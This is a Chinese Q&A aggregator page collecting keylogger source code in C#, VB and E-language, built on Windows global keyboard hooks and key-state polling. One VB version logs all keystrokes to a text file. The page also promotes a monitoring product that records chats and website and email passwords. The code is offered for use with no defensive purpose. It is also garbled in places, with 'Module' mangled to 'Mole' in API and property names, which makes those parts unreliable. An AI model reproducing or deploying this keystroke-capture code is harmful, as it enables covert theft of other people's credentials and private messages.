導航:首頁 > 電腦設備 > 電腦鍵盤記錄源代碼

電腦鍵盤記錄源代碼

發布時間:2022-07-31 17:02:54

㈠ 用C#做鍵盤敲擊次數記錄求代碼

以下是整理源碼。

static int hKeyboardHook = 0; //鍵盤鉤子句柄
public const int WH_KEYBOARD_LL = 13; //處理鍵盤消息
private const int WM_KEYDOWN = 0x100;//鍵盤按下
//聲明鍵盤鉤子事件類型.
HookProc KeyboardHookProcere;
//聲明鍵盤鉤子的封送結構類型
[StructLayout(LayoutKind.Sequential)]
public class KeyboardHookStruct
{
public int vkCode; //表示一個在1到254間的虛似鍵盤碼
}
//裝置鉤子的函數
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);
//卸下鉤子的函數
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool UnhookWindowsHookEx(int idHook);
//下一個鉤掛的函數
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);
[DllImport("user32")]
public static extern int ToAscii(int uVirtKey, int uScanCode, byte[] lpbKeyState, byte[] lpwTransKey, int fuState);
[DllImport("user32")]
public static extern int GetKeyboardState(byte[] pbKeyState);
[DllImport("kernel32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall)]
private static extern IntPtr GetMoleHandle(string lpMoleName);
public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
//先前按下的鍵
public List<Keys> preKeys = new List<Keys>();
int b;
//析構函數.
~Form1()
{
Stop();
}
public void Start()
{
//安裝鍵盤鉤子
if (hKeyboardHook == 0)
{
KeyboardHookProcere = new HookProc(KeyboardHookProc);
Process curProcess = Process.GetCurrentProcess();//獲取新的 Process 組件並將其與當前活動的進程關聯
ProcessMole curMole = curProcess.MainMole;
hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProcere, GetMoleHandle(curMole.MoleName), 0);
if (hKeyboardHook == 0)
{
Stop();
throw new Exception("SetWindowsHookEx ist failed.");
}
b = 0;
}
}
public void Stop()
{
bool retKeyboard = true;
if (hKeyboardHook != 0)
{
retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
hKeyboardHook = 0;
}
//如果卸下鉤子失敗
if (!(retKeyboard)) throw new Exception("UnhookWindowsHookEx failed.");
}
int num = 0;//記錄次數
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
if (wParam == WM_KEYDOWN)
{
KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));
Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;
preKeys.Add(keyData);
num++;
label1.Text = Convert.ToString(num);
b = 1;
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

private void Form1_Load(object sender, EventArgs e)
{
Start();
}

㈡ 求驅動級鍵盤記錄器源代碼!

這個我沒有。

鍵盤記錄器,我使用的是電腦監控專家。

電腦監控專家軟體主要功能:

1.鍵盤輸入記錄功能

記錄鍵盤的所有輸入,包括中文、英文、數字以及功能鍵按鍵記錄。QQ聊天記錄、MSN聊天記錄、發送郵件的內容以及上網登陸一些網站或郵箱時輸入的用戶名和密碼都會被記錄下來(提示:請勿將軟體用於非法用途)。

2.屏幕顯示記錄功能

定時對全屏或活動的程序窗口進行截圖保存。讓你對電腦上的顯示和操作了如指掌。

3.活動窗口監控功能

記錄所有打開的窗口標題和打開的時間,並且可以禁止打開標題中包含你指定的文字的窗口。

㈢ 鍵盤記錄器源代碼

'模塊部分
Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public hHook&, i%, appStr$, SBUF$, pos1$(), pos2$()
Sub ints() '初始化數據
appStr = "從" & Now & "開始鍵盤記錄如下..." & vbCrLf
SBUF = "96_0|97_1|98_2|99_3|100_4|101_5|102_6|103_7|104_8|105_9|106_*|107_+|109_-|110_.|111_/|13_Enter|144_NumLock|65_A|66_B|67_C|68_D|69_E|70_F|71_G|72_H|73_I|74_J|75_K|76_L|77_M|78_N|79_O|80_P|81_Q|82_R|83_S|84_T|85_U|86_V|87_W|88_X|89_Y|90_Z48_0|49_1|50_2|51_3|52_4|53_5|54_6|55_7|56_8|57_9|192_`|189_-|187_=|220_\|8_BACKSpace|44_Print|45_InSert|46_Delete|145_ScrollLock|36_Home|35_End|19_PauseBreak|33_PageDown|34_PageUp|38_上|40_下|37_左|39_右|27_Esc|112_F1|113_F2|114_F3|115_F4|116_F5|117_F6|118_F7|119_F8|120_F9|121_F10|122_F11|123_F12|9_TAB|20_CapsLock|160_左Shift|162_左Ctrl|91_左Win|13_右Enter|161_右Shift|92_右Win|93_右List|163_右Ctrl"
pos1 = Split(SBUF, "|"): ReDim pos2$(256)
For i = 0 To UBound(pos1) - 1
pos2(Val(pos1(i))) = Mid(pos1(i), InStr(1, pos1(i), "_") + 1)
Next
End Sub
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
appStr = appStr & pos2(mymsg.vKey) & " "
End If 'FOR循環和判斷結構完全去掉了,取而代之的是一個已經定義好的對應數組
End If
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function

'窗體部分
Private Sub form_Load()
KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "鍵盤記錄"
Mole1.ints '初始化數據
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then End
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call UnhookWindowsHookEx(hHook) '程序退出時
Open "D:\getkey.txt" For Append As #1 '打開文本
Print #1, Mole1.appStr '一次性記錄
Print #1, "到" & Now() & "結束!" & vbCrLf
Close #1
End Sub
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = vbKeyEscape Then Unload Me
End Sub

㈣ 高手進,求一個鍵盤記錄程序源代碼,最好是用VB或C語言寫的,其它語言編寫的也行。謝謝各位

VB還是不難的。創建一個窗體,加上兩個text1,2 '在窗體中 Private Sub Form_Load() hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0) End Sub Private Sub Form_Unload(Cancel As Integer) UnhookWindowsHookEx hHook End Sub '在模塊中 Option Explicit Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long) Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Const WH_KEYBOARD = 2 Public Const WH_KEYBOARD_LL = 13 Public Const HC_ACTION = 0 Public Const HC_SYSMODALOFF = 5 Public Const HC_SYSMODALON = 4 Public Const WM_KEYDOWN = &H100 Public Const WM_KEYUP = &H101 Public Const WM_CHAR = &H102 Public Const WM_SYSKEYDOWN = &H104 Public Const WM_SYSKEYUP = &H105 Public Const WM_SYSCHAR = &H106 Public Const WM_SYSCOMMAND = &H112 Public Type KEYMSGS vKey As Long '虛擬碼 (and &HFF) sKey As Long '掃描碼 flag As Long '鍵按下:128 抬起:0 time As Long 'Window運行時間 End Type Public keyMsg As KEYMSGS '鍵盤消息 Public hHook As Long '創建的鉤子的句柄 Public Function CallKeyHookProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Dim lKey As Long Dim strKeyName As String * 255 Dim strLen As Long If idHook = HC_ACTION Then CopyMemory keyMsg, lParam, LenB(keyMsg) Select Case wParam Case WM_SYSKEYDOWN, WM_SYSKEYUP, WM_KEYDOWN, WM_KEYUP '判斷是否為鍵盤消息 lKey = keyMsg.sKey And &HFF '掃描碼 lKey = lKey * 65536 '將掃描碼左移16位,使位0~15置0 If keyMsg.flag = 0 Or keyMsg.flag = 32 Or keyMsg.flag = 128 Or keyMsg.sKey = 54 Then strLen = GetKeyNameText(lKey, strKeyName, 250) '獲取該按鍵的名稱 Else strLen = GetKeyNameText((lKey Or &H1000000), strKeyName, 250) '位24為增強型鍵盤上的擴展位 End If Form1.Text1.Text = keyMsg.vKey '將按鍵存放到text1中,當然你修改可以自己改這里。 Form1.Text2.Text = Left(strKeyName, strLen) End Select End If CallKeyHookProc = CallNextHookEx(hHook, idHook, wParam, lParam) '呼叫下一個鉤子 End Function

㈤ 易語言鍵盤記錄源碼問題。

用模塊搞這些東西簡單多了, FindWindowA是查找窗口句柄,返回0說明進程結束, IsWindow判斷窗口句柄是否有效, GetAsyncKeyState(鍵代碼)返回-32767表示測試鍵按下,可用循環監視鍵盤按下,做記錄用。鍵盤記錄方法很多,但是一般放到號軟體會加密

㈥ 求C#寫鍵盤記錄的源代碼

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Runtime.InteropServices; using System.Reflection; using System.Windows.Forms; namespace Tool { class KeyHook { public event KeyEventHandler KeyUp;//按鍵事件 public Win32API.HookProc keyHook;//鉤子回調變數 public int hkeyhook = 0; private const int WH_KEYBOARD_LL = 13;//鉤子類型 public void statrhook() //安裝鉤子 { if (this.hkeyhook == 0) { this.keyHook = new Win32API.HookProc(this.KeyboardHookProc); this.hkeyhook = Win32API.SetWindowsHookEx(WH_KEYBOARD_LL, this.keyHook, Marshal.GetHINSTANCE( Assembly.GetExecutingAssembly().GetMoles()[0]), 0); } if (this.hkeyhook == 0) { this.sotphook(); } } public void sotphook()//卸載鉤子 { bool retKeyboard; if (this.hkeyhook != 0) { retKeyboard = Win32API.UnhookWindowsHookEx(this.hkeyhook); this.hkeyhook = 0; } } private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)//鉤子處理函數 { if (nCode >= 0 && this.KeyUp != null) { Win32API.KeyboardHookStruct key = (Win32API.KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(Win32API.KeyboardHookStruct)); if ((KeyUp != null) && (wParam == Win32API.WM_KEYUP || wParam == Win32API.WM_SYSKEYUP)) { Keys keydata = (Keys)key.vkCode; KeyEventArgs e = new KeyEventArgs(keydata); this.KeyUp(this, e); } } return Win32API.CallNextHookEx(this.hkeyhook, nCode, wParam, lParam); } } }

㈦ 易語言編寫鍵盤記錄器 源碼 說的詳細點

.版本2

.程序集窗口程序集1

.子程序__啟動窗口_創建完畢

SkinH_Attach()

編輯框1.禁止=真

停止按鈕.禁止=真

信息框(「歡迎使用小天鍵盤記錄系統,在關閉此記錄系統後,會自動保存記錄的內容到運行目錄!」,#信息圖標,「歡迎使用!」)

.子程序_停止按鈕_被單擊

開始按鈕.禁止=假

編輯框1.禁止=真

時鍾1.時鍾周期=0

停止按鈕.禁止=真

.子程序_開始按鈕_被單擊

開始按鈕.禁止=真

編輯框1.禁止=假

時鍾1.時鍾周期=50

停止按鈕.禁止=假

.子程序_時鍾1_周期事件

編輯框1.加入文本(看看按鍵())

.子程序_按鈕1_被單擊

編輯框1.內容=「」

.子程序__啟動窗口_可否被關閉,邏輯型

寫到文件(取運行目錄()+「記錄內容.txt」,到位元組集(編輯框1.內容))

銷毀()

.子程序_按鈕2_被單擊

刪除文件(取運行目錄()+「記錄內容.txt」)

㈧ VB編寫鍵盤記錄器

鍵盤記錄沒有必要用全局鉤子,如果用不好會嚴重影響系統的效率·VB有一個API函數可以很好的實現鍵盤記錄代碼如下:通用部分聲明:Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 'API函數的聲明dim time as integer添加2個按鈕,一個textbox控制項。command1_click事件中添加:timer1.enable = truecommand1.enable = falsecommand2.enable = true command2_click :timer2.enable = falsecommand1.enable = truecommand2.enable = false form_load :
command1.enable = truecommand2.enable = false添加一個timer控制項,interval屬性設置為1000.Enable屬性設置為false.並添加下面代碼:time = time +1if time = "10" thentimer1.enable = falsecommand1.enable = truecommand2.enable = falseelseFor i = 32 To 256
x = GetAsyncKeyState(i)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
x = GetAsyncKeyState(186)
If x = -32767 Then
Text1.Text = Text1.Text + ";"
End If
x = GetAsyncKeyState(187)
If x = -32767 Then
Text1.Text = Text1.Text + "="
End If
x = GetAsyncKeyState(188)
If x = -32767 Then
Text1.Text = Text1.Text + ","
End If
x = GetAsyncKeyState(189)
If x = -32767 Then
Text1.Text = Text1.Text + "-"
End If
x = GetAsyncKeyState(190)
If x = -32767 Then
Text1.Text = Text1.Text + "."
End If
x = GetAsyncKeyState(191)
If x = -32767 Then
Text1.Text = Text1.Text + "/"
End If'------------------------------
'數字的虛擬鍵
x = GetAsyncKeyState(96)
If x = -32767 Then
Text1.Text = Text1.Text + "0"
End If
x = GetAsyncKeyState(97)
If x = -32767 Then
Text1.Text = Text1.Text + "1"
End If
x = GetAsyncKeyState(98)
If x = -32767 Then
Text1.Text = Text1.Text + "2"
End If
x = GetAsyncKeyState(99)
If x = -32767 Then
Text1.Text = Text1.Text + "3"
End If
x = GetAsyncKeyState(100)
If x = -32767 Then
Text1.Text = Text1.Text + "4"
End If
x = GetAsyncKeyState(101)
If x = -32767 Then
Text1.Text = Text1.Text + "5"
End If
x = GetAsyncKeyState(102)
If x = -32767 Then
Text1.Text = Text1.Text + "6"
End If
x = GetAsyncKeyState(103)
If x = -32767 Then
Text1.Text = Text1.Text + "7"
End If
x = GetAsyncKeyState(104)
If x = -32767 Then
Text1.Text = Text1.Text + "8"
End If
x = GetAsyncKeyState(105)
If x = -32767 Then
Text1.Text = Text1.Text + "9"
End If
'--------------------------------------
x = GetAsyncKeyState(13)
If x = -32767 Then
Text1.Text = Text1.Text + " (回車鍵) "
End If
'--------------------------------------
x = GetAsyncKeyState(8)
If x = -32767 Then
Text1.Text = Text1.Text + " (退格鍵) "
End If
'--------------------------------------
x = GetAsyncKeyState(9)
If x = -32767 Then
Text1.Text = Text1.Text + "(TAB鍵)"
End If
'--------------------------------------
x = GetAsyncKeyState(16) ''shift鍵
If x = -32767 And TimeOut = 0 Then
Text1.Text = Text1.Text + "(Shift鍵)"
End If
'--------------------------------------
x = GetAsyncKeyState(17) ''Ctrl鍵
If x = -32767 Then
Text1.Text = Text1.Text + "(Ctrl鍵)"
End If
'--------------------------------------
x = GetAsyncKeyState(18)
If x = -32767 Then
Text1.Text = Text1.Text + "(ALT鍵)"
End If
'--------------------------------------
x = GetAsyncKeyState(46)
If x = -32767 Then
Text1.Text = Text1.Text + "(刪除)"
End If
'--------------------------------------
x = GetAsyncKeyState(38)
If x = -32767 Then
Text1.Text = Text1.Text + "(向上)"
End If
'--------------------------------------
x = GetAsyncKeyState(40)
If x = -32767 Then
Text1.Text = Text1.Text + "(向下)"
End If
'--------------------------------------
x = GetAsyncKeyState(37)
If x = -32767 Then
Text1.Text = Text1.Text + "(向左)"
End If
'--------------------------------------
x = GetAsyncKeyState(39)
If x = -32767 Then
Text1.Text = Text1.Text + "(向右)"
End If
'--------------------------------------x = GetAsyncKeyState(112)
If x = -32767 Then
Text1.Text = Text1.Text + "[F1]"
End Ifx = GetAsyncKeyState(113)
If x = -32767 Then
Text1.Text = Text1.Text + "[F2]"
End Ifx = GetAsyncKeyState(114)
If x = -32767 Then
Text1.Text = Text1.Text + "[F3]"
End Ifx = GetAsyncKeyState(115)
If x = -32767 Then
Text1.Text = Text1.Text + "[F4]"
End Ifx = GetAsyncKeyState(116)
If x = -32767 Then
Text1.Text = Text1.Text + "[F5]"
End Ifx = GetAsyncKeyState(117)
If x = -32767 Then
Text1.Text = Text1.Text + "[F6]"
End Ifx = GetAsyncKeyState(118)
If x = -32767 Then
Text1.Text = Text1.Text + "[F7]"
End Ifx = GetAsyncKeyState(119)
If x = -32767 Then
Text1.Text = Text1.Text + "[F8]"
End Ifx = GetAsyncKeyState(120)
If x = -32767 Then
Text1.Text = Text1.Text + "[F9]"
End Ifx = GetAsyncKeyState(121)
If x = -32767 Then
Text1.Text = Text1.Text + "[F10]"
End Ifx = GetAsyncKeyState(122)
If x = -32767 Then
Text1.Text = Text1.Text + "[F11]"
End Ifx = GetAsyncKeyState(123)
If x = -32767 Then
Text1.Text = Text1.Text + "[F12]"
End IfNext iend if
End Sub
上面的代碼中command1為開啟按紐,command2為關閉按鈕,按下開啟按鈕後將記錄10秒內的鍵盤消息並在text1中顯示我沒有在窗體上輸出,應為如果消息太多了會顯示不好如果你要在窗體輸出就改用print函數輸出吧

㈨ 誰知道電腦鍵盤按鍵代碼表

一:字母和數字按鍵的建碼值

拓展資料:

在Windows注冊表中有個"Scancode Map"(即掃描碼映射)的鍵,我們可以通過修改這個鍵的值來實現鍵位映射的更改。

"Scancode Map"的值的格式是"hex:00,00,00,00,00,00,00,00,xx,00,00,00,[yy,yy,yy,yy,...,yy,yy,yy,yy,]00,00,00,00"

前8個16進制的值(即前8組00)表示版本號和頭部位元組,後4個16進制的值(即最後的4組00)表示結束標志,中間xx表示映射數目,最小值為01(考慮到結束標志的4組00),中括弧內為可寫項,也是我們修改鍵位比較關鍵的部分,每四個代表一組映射。

閱讀全文

與電腦鍵盤記錄源代碼相關的資料

熱點內容
電腦上怎麼下載班智達的軟體 瀏覽:1186
無痕跡消除圖片軟體 瀏覽:735
免費小票軟體 瀏覽:975
華為在哪裡設置軟體停止運行 瀏覽:977
用電腦鍵盤調節聲音大小 瀏覽:1273
自動刷軟體賺錢 瀏覽:1279
古裝連續劇免費版 瀏覽:1429
工免費漫畫 瀏覽:1164
手機軟體專門儲存文件 瀏覽:1523
uos如何用命令安裝軟體 瀏覽:1343
有線耳機插電腦麥克風 瀏覽:662
侏羅紀世界3在線觀看完整免費 瀏覽:1012
單個軟體怎麼設置名稱 瀏覽:735
鳳凰網電腦版下載視頻怎麼下載視頻怎麼下載 瀏覽:1401
明白之後如何免費獲得無人機 瀏覽:847
如何解禁軟體菜單 瀏覽:878
副路由器連接電腦視頻 瀏覽:1368
內置wifi電視如何裝軟體 瀏覽:1132
手機換零免費雪碧 瀏覽:1601
國行蘋果如何下載美版軟體 瀏覽:1233